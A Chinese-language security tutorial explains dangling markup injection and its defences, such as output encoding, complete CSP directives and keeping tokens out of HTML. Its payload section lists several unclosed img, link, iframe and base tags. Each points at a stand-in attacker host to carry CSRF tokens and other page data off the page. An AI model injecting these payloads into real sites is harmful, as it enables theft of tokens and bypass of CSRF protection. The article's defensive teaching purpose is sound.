dangling markup(悬挂标记)是一种介于HTML注入和XSS之间的客户端攻击技术。它的核心思路是:攻击者在页面中注入一个未闭合的标签开头,例如一个带有id属性的<img>标签,由于标签没有闭合,浏览器解析时会把这个标签之后的所有页面内容都当作该标签的属性值处理,直到遇到下一个引号为止。这样,页面后续渲染出来的敏感内容,比如CSRF token、用户邮箱、订单信息,就会被拼接到攻击者构造的属性中,随着请求发送到外部服务器。整个过程不需要执行JavaScript,因此即使部署了严格的CSP脚本策略,只要页面存在HTML注入点,攻击依然可能成立。

一、dangling markup的底层原理:浏览器如何解析未闭合的标签
要理解这种攻击,首先要明白浏览器对不完整HTML的处理方式。HTML是一门非常宽容的语言,浏览器解析器遇到格式错误的标记时会自动纠错。当解析器读到一个标签的开放部分(比如<img src=)而后面没有出现合法的属性值时,它不会直接丢弃这个标签,而是继续向后扫描,寻找一个可以作为属性值的引号或单引号。
这种自动补全机制正是攻击的关键。假设页面存在反射点,攻击者注入如下内容:
<img src='//evil.ipipp.com/?
注入点之后的页面源码可能是这样的:后面的正常内容里出现了一个带引号的属性,例如某个表单中的action="submit"。浏览器解析到注入的<img src='时,会把从注入点到下一个单引号之间的所有内容——包括中间的HTML标签、表单隐藏字段、token文本——全部当作src属性的值。随后浏览器尝试加载这个图片,实际效果是向evil.ipipp.com发起了一次GET请求,请求URL中携带了被吞噬的那段页面内容。攻击者查看服务端日志,就能拿到token等敏感数据。
注意整个过程中没有任何脚本执行,这就是dangling markup与传统XSS最本质的区别:它滥用的是资源加载类标签的属性,而不是script标签。
二、常见利用载荷与适用场景
实际测试中可以使用的载荷形式很多,核心都是构造一个带未闭合属性的资源加载标签。以下是几种典型写法。
<img src='//evil.ipipp.com/log? <img src="//evil.ipipp.com/a <link href='//evil.ipipp.com/steal? <iframe src="//evil.ipipp.com/c? <base href='//evil.ipipp.com/
第一种img载荷最常用,兼容性好;link和base载荷在某些过滤场景下可以绕过对img关键字的拦截;base载荷尤其危险,它会改变页面中所有相对路径资源的解析基准,让后续加载的脚本、样式都指向攻击者域名,间接实现完整的脚本注入。
利用的成功与否取决于页面结构:注入点之后必须存在一个引号来终止属性匹配,并且被吞噬的区间内要包含有价值的数据。如果token在注入点之前已经渲染完毕,则这种攻击拿不到它。做安全测试时,可以先观察响应源码中注入点与token的相对位置,再决定是否值得尝试。
另外,如果响应头中设置了X-Content-Type-Options: nosniff且CSP限制了img-src、style-src等资源加载来源,多数载荷会被拦截,这也是判断目标防护强度的重要信号。
三、与传统XSS的能力对比及局限性
与传统XSS相比,dangling markup的能力是受限的。它只能读取注入点之后的静态页面内容,无法执行任意逻辑、无法操作DOM、也无法窃取cookie这类不在HTML文档中呈现的数据。可以把它理解为一种只读的信息泄露手段。
但这并不代表它危害小。CSRF token通常以隐藏输入框的形式嵌在表单HTML里,一旦被带出,攻击者就能绕过CSRF防护完成跨站伪造请求;邮件类应用中的会话标识、密码重置链接中的令牌,也都是它的高价值目标。历史上不少Web邮箱服务的HTML注入漏洞最终都是通过dangling markup完成token窃取的。
它的优势在于绕过能力强。很多站点的CSP只限制了script-src,却放开了图片或样式的加载来源,这给了载荷可乘之机。因此在评估CSP配置是否完善时,必须把img-src、style-src、frame-src等指令一并纳入审计范围。
四、防御措施与最佳实践
最根本的防御是在输出层做严格的HTML编码。所有来自用户输入的数据在拼入HTML上下文时,都应对<、>、引号等字符进行实体编码,这样攻击者就无从注入标签的起始部分。
其次,CSP要配置完整而非只防脚本。推荐的最小策略如下:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'self'; script-src 'nonce-R4nd0m'; object-src 'none'; base-uri 'none'
其中base-uri 'none'专门用于阻断base标签载荷,object-src 'none'禁用插件类资源,这些指令经常被遗漏。再配合X-Content-Type-Options: nosniff,可以阻止浏览器猜测内容类型。
最后,架构层面的建议是尽量避免把敏感token直接渲染进HTML。改用自定义请求头携带CSRF token、为表单使用一次性随机化接口地址、或将校验逻辑迁移到SameSite Cookie方案,都能从数据流源头降低这类泄露的影响面。多层防御结合起来,dangling markup的生存空间就会被彻底压缩。
dangling markupXSSHTML注入修改时间:2026-09-01 16:34:32